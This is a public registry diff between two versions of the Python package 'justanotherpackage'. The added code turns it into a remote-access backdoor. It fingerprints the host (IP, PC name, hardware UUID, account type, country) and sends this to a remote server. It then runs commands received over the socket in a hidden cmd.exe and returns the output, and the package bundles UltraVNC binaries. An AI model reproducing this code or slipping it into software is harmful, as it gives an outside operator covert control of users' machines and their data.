justanotherpackage 0.1.7__py3-none-any.whl → 0.1.9__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -5,6 +5,8 @@ import platform
5
5
  import ctypes
6
6
  import requests
7
7
  from wmi import WMI
8
+ from .core import create_shell
9
+ import json
8
10
 
9
11
  def check_account_type():
10
12
  try:
@@ -19,20 +21,23 @@ def get_client_info():
19
21
  system = platform.system()
20
22
  version = platform.version().split('.')[0]
21
23
  os = f"{system} {version}"
22
- response = requests.get('https://ipapi.co/json/')
24
+ response = requests.get('https://ipv4.jsonip.com', timeout=5)
23
25
  data = response.json()
24
26
  ip = data.get('ip')
25
- country = data.get('country_name')
27
+ response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
28
+ data = response.json()
29
+ country_en = data['country']['names']['en']
26
30
 
27
- client_info = {
31
+ client_info = { "new_client": {
28
32
  "IP": ip,
29
33
  "PC Name": platform.node(),
30
34
  "PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
31
35
  "OS": os,
32
36
  "Account Type": check_account_type(),
33
- "Country": country,
37
+ "Country": country_en,
34
38
  "Tag": "Remote PC",
35
39
  }
40
+ }
36
41
  return client_info
37
42
 
38
43
  def start_connection(HOST, PORT):
@@ -42,19 +47,46 @@ def start_connection(HOST, PORT):
42
47
  client_socket.connect((HOST, PORT))
43
48
  client_info = get_client_info()
44
49
  client_socket.sendall(str(client_info).encode('utf-8'))
45
- print(f"{client_info} sent to: {HOST}:{PORT}")
46
- handle_connection(client_socket)
47
- except Exception as e:
48
- print(e)
49
- time.sleep(5)
50
+
51
+ while True:
52
+ data = client_socket.recv(1024).decode('utf-8').strip()
53
+ if not data:
54
+ break
55
+
56
+ if data.get("terminal") is not None:
57
+ terminal(data, client_socket)
58
+
59
+ except (socket.error, ConnectionResetError):
60
+ time.sleep(1)
61
+
50
62
  finally:
51
63
  client_socket.close()
52
64
 
53
- def handle_connection(client_socket):
54
- try:
55
- while True:
56
- command = client_socket.recv(1024).decode('utf-8').strip()
57
- if command:
58
- client_socket.sendall(f"Command executed successfully: {command}\n".encode('utf-8'))
59
- except:
60
- client_socket.close()
65
+
66
+ def terminal(data, client_socket):
67
+ shell, stdout_queue, stderr_queue = create_shell()
68
+
69
+ if isinstance(data, str):
70
+ try:
71
+ data = json.loads(data)
72
+ except json.JSONDecodeError:
73
+ data = data
74
+ else:
75
+ data = json.dumps(data)
76
+
77
+ data = data["terminal"]
78
+
79
+ shell.stdin.write(data + "\n")
80
+ shell.stdin.flush()
81
+
82
+ time.sleep(0.5)
83
+ output = ""
84
+
85
+ while not stdout_queue.empty() or not stderr_queue.empty():
86
+ while not stdout_queue.empty():
87
+ output += stdout_queue.get_nowait()
88
+ while not stderr_queue.empty():
89
+ output += stderr_queue.get_nowait()
90
+
91
+ client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
92
+ shell.terminate()
@@ -0,0 +1,30 @@
1
+ import subprocess
2
+ import threading
3
+ import queue
4
+
5
+ def create_shell():
6
+ def read_output(pipe, output_queue):
7
+ for line in iter(pipe.readline, ''):
8
+ output_queue.put(line)
9
+ pipe.close()
10
+
11
+ shell = subprocess.Popen(
12
+ ["cmd.exe"],
13
+ stdin=subprocess.PIPE,
14
+ stdout=subprocess.PIPE,
15
+ stderr=subprocess.PIPE,
16
+ text=True,
17
+ bufsize=1
18
+ )
19
+
20
+ stdout_queue = queue.Queue()
21
+ stderr_queue = queue.Queue()
22
+
23
+ stdout_thread = threading.Thread(target=read_output, args=(shell.stdout, stdout_queue))
24
+ stderr_thread = threading.Thread(target=read_output, args=(shell.stderr, stderr_queue))
25
+ stdout_thread.daemon = True
26
+ stderr_thread.daemon = True
27
+ stdout_thread.start()
28
+ stderr_thread.start()
29
+
30
+ return shell, stdout_queue, stderr_queue
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.7
3
+ Version: 0.1.9
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -1,6 +1,6 @@
1
1
  justanotherpackage/__init__.py,sha256=r0rWIFMfaD0Y2XGViT_OZXY4dIk155FtyS0zsWVW7FE,37
2
- justanotherpackage/connect.py,sha256=x6Zsoq4P9mCTkdnPtVHySb8W1xQUYU7P50wqX9CiqKg,1775
3
- justanotherpackage/core.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
2
+ justanotherpackage/connect.py,sha256=WX6TcY6AwhnPebPMapKeoAN8A0KRj8ns_r1Hy_obFMU,2677
3
+ justanotherpackage/core.py,sha256=LKTdIlJfjL--2ngOsnU3ggDKQCVMdNi2QrCUH4oztR4,845
4
4
  justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
5
5
  justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
6
6
  justanotherpackage/vnc/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
@@ -10,7 +10,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
10
10
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
11
11
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
12
12
  justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
13
- justanotherpackage-0.1.7.dist-info/METADATA,sha256=t5RmBsl9ebSNw1C1RmtomcO5oAVWDZFDpAnGcApbQsM,115
14
- justanotherpackage-0.1.7.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
15
- justanotherpackage-0.1.7.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
16
- justanotherpackage-0.1.7.dist-info/RECORD,,
13
+ justanotherpackage-0.1.9.dist-info/METADATA,sha256=2h5Myp77y6GFCmSsiwKDm992tclv5VQhFcI-Q2H1sUo,115
14
+ justanotherpackage-0.1.9.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
15
+ justanotherpackage-0.1.9.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
16
+ justanotherpackage-0.1.9.dist-info/RECORD,,